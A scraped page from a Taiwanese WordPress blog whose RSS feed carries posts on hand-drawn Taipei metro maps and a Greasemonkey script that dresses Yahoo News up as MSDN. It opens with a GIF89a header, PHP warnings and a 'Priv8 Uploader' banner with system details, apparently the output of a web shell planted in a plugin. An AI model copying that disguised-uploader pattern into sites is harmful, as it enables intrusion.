GIF89a;
Warning: Undefined array key "" in /home/data/websites/but.tw/webroot/wp-content/plugins/facebook-comments-plugin/facebook-comments.php on line 3

Priv8 Uploader By InMyMine7

FreeBSD freebsd-15-vm 15.1-RELEASE-p1 FreeBSD 15.1-RELEASE-p1 releng/15.1-n283582-0f691888dc56 GENERIC amd64

Warning: Cannot modify header information - headers already sent by (output started at /home/data/websites/but.tw/webroot/wp-content/plugins/facebook-comments-plugin/facebook-comments.php:1) in /home/data/websites/but.tw/webroot/wp-includes/feed-rss2.php on line 8
MAD 惡趣味 – but, or bug… https://but.tw but’s writings, notes, and murmurs Sun, 01 Sep 2013 15:46:40 +0000 zh-TW hourly 1 https://wordpress.org/?v=7.0 臺北捷運路綫圖 復古版 https://but.tw/2011/01/taipei_metromap_classic/ https://but.tw/2011/01/taipei_metromap_classic/#comments Mon, 10 Jan 2011 12:20:11 +0000 http://but.tw/?p=72 對非官方版路線圖有興趣嗎?這裡有更多我的路線圖作品 🙂

到處詢問的結果,彩色的路線圖要印在 T-shirt 上,成本實在很高。要求品質的話,一個顏色就要開一個版,十幾條路線下來,開十幾個版實在貴翻了。於是我一直有嘗試畫單色路線圖的想法。

問題是單色要怎麼畫? 查遍各種資料,在這個時代,有兩條以上路線存在的都會區大眾捷運系統,基本上路線圖都是彩色的 ── 而且從六、七十年前開始就是這樣了。

事實上,英國的地下鐵地圖,從1910年代開始就已經是彩色構圖了。德國倒是1930年代前滿多雙色套色的路線圖存在,但這些圖的特色是過度保有「地圖」的樣貌。例如有河川、有草地標識等等,還有一些景點名稱,對我來說又有點過於複雜。

這時我的想法是,乾脆用鐵路的畫法來畫捷運呢,這樣就有很多資料可以參考。最後嘗試假定時代背景在日治時期的感覺,穿插一些日治時期的廣告(那個年代的路線圖、時刻表封面上總是擺滿多到不能再多的廣告),尤其舟車勞頓下,仁丹的廣告絕對不能少XD 用這樣個concept來畫這張復古版。這樣就順理成章地黑白作畫了XD

既然都給他復古下去了,所以有些地方乾脆玩大一點。像站名中原有的「台」字都改用「臺」字,至少我手中的文獻,日治時期正式文件使用「臺」字的情況比現今還要徹底,所以就「臺北駅」「臺大醫院」「臺電大樓」就給他都臺下去了。其次,當年淡水線、新店私線沿線上有的站名,盡量都標出當年的站名(反正這張路線圖本來就是遊戲性高於實用性);當年沒有的站名、路線,則直接用現名。

站名的部分,無論哪套電腦字型,感覺都太新了。本來很想說去找實際的鉛字來打字,清點了一下打字下來又是不小一筆成本(每個鉛字$10算,光鉛字就破千了,還要排版、印刷費用);而且台灣已知現存的鉛字都已經是民國60年間的東西了,要真的去找1930~1940年代的鉛字,是找不到的。所以目前先以手寫的方式處理,事實上那年代的地圖確實手寫的居多。……不過還是有點想打鉛字耶(思)

廢話少提,目前階段的初步成品如下: (按原始圖可開大圖)

臺北捷運路綫圖 復古版

這一版真的要作 T-shirt 啦,預計製作咖啡色底印米黃色(若廠商無法處理則黑底印白色),價格另行公布,有興趣的朋友還請留言 🙂

]]>
https://but.tw/2011/01/taipei_metromap_classic/feed/ 13
3D台北捷運系統計畫路網圖 https://but.tw/2010/07/taipei_metro_in_3d/ https://but.tw/2010/07/taipei_metro_in_3d/#comments Mon, 05 Jul 2010 16:14:19 +0000 http://but.tw/?p=50 對非官方版路線圖有興趣嗎?這裡有更多我的路線圖作品 🙂

說是3D,跟你心裡所想的應該不一樣吧XD

廢話少說,就直接看圖吧~
說真的,我最近真的畫路線圖畫到有點失心瘋….


這張圖的是看到這張圖的啟發後開始動工的。本來也只是想畫出比較示意圖的感覺,畫著畫著不知不覺就過度修飾了orz
尤其是把路線套濾鏡立體化以後,就開始手賤研究該怎麼處理線跟線的交叉點… 結果最後變成這樣 (抖)
而諷刺的是,雖然我之前每張圖都想盡辦法去突顯轉車站,但結果我覺得這張是轉車站最清楚的 (汗)

我完全不會用3D軟體,這張仍是 Illustrator 作畫,實際上是平面的。

信義線東延段因為站名並未正式定案,所以終點站沒有標站名。萬大線站名未標原因亦同。
淡海輕軌綠山線因為是輕軌,而且事實上也還沒核定,就不畫進來了。

網路非商用可轉載,但請註明出處,並務必以留言或郵件(rail[at]but.tw)等方式通知我。謝謝。

]]>
https://but.tw/2010/07/taipei_metro_in_3d/feed/ 1
[Script] 偽裝MSDN的Yahoo新聞 https://but.tw/2009/01/yahoo_news/ https://but.tw/2009/01/yahoo_news/#comments Mon, 12 Jan 2009 12:28:32 +0000 http://but.tw/?p=22 試寫Greasemonkey巨集第一彈。
將Yahoo!新聞偽裝成MSDN

msdn

請點此下載

目前還是beta版本,改寫方式太暴力,有些Yahoo!原先的Script沒擋乾淨,執行過程會或多或少噴一些Exception。

目前針對 tw.news.yahoo.com 網域反應,會顯示成MSDN的外觀。

因為現在我沒有jQuery已經不會寫JavaScript了,所以script會先去抓jQuery(從Google抓)。不過,雖然是用jQuery寫的,但我可以保證這支程式只能在Firefox上跑。如果IE跑得動我會嚇到。

新聞下面「請參閱」部分則是從新聞頁面的「推薦這則新聞的人,還會推薦這些新聞」「最多瀏覽」「最新新聞」之類的地方撈出來的。由於標題文字太過於顯眼,所以偽裝成神秘的識別項(雖然看起來還是假)。滑鼠經過時會顯示真正的新聞標題。

左方的目錄則自動從頁面裡的rss資訊裡去撈rss檔案。感謝jQuery解析xml實在太方便了。$(‘item’)搞定…

頁面開啟之後,無論從請參閱還是左方目錄點選其他新聞,都是使用Ajax載入後解析內文更新到頁面上的。所以頁面不會換頁,手賤去按F5的話,會回到原來第一個頁面。之所以這樣設計,是因為Greasemonkey要等到onload以後才會被執行,每次換頁的過程中都看到原始的Yahoo版面,不符合我的需求(謎)

本來最頭痛的就是圖片該擺哪邊,像那些樹狀選單開關用的 – + ,本來想說用base64編碼直接寫進CSS,不過還是直接用文字配合CSS去模擬了。

而頁面上方的MSDN標題列,本來想說要自己重刻太重,放圖片又很難應付各種螢幕寬度,最後放大絕,用一個iframe去嵌真正的MSDN …XD 寬度100%保證視窗怎麼縮放都好看XD 所以請注意每次使用時會連線到微軟一次XD


適合用途:這需要說明嗎。

好像有一些新聞會一直卡在loading的地方而無效,還在找原因。

]]>
https://but.tw/2009/01/yahoo_news/feed/ 1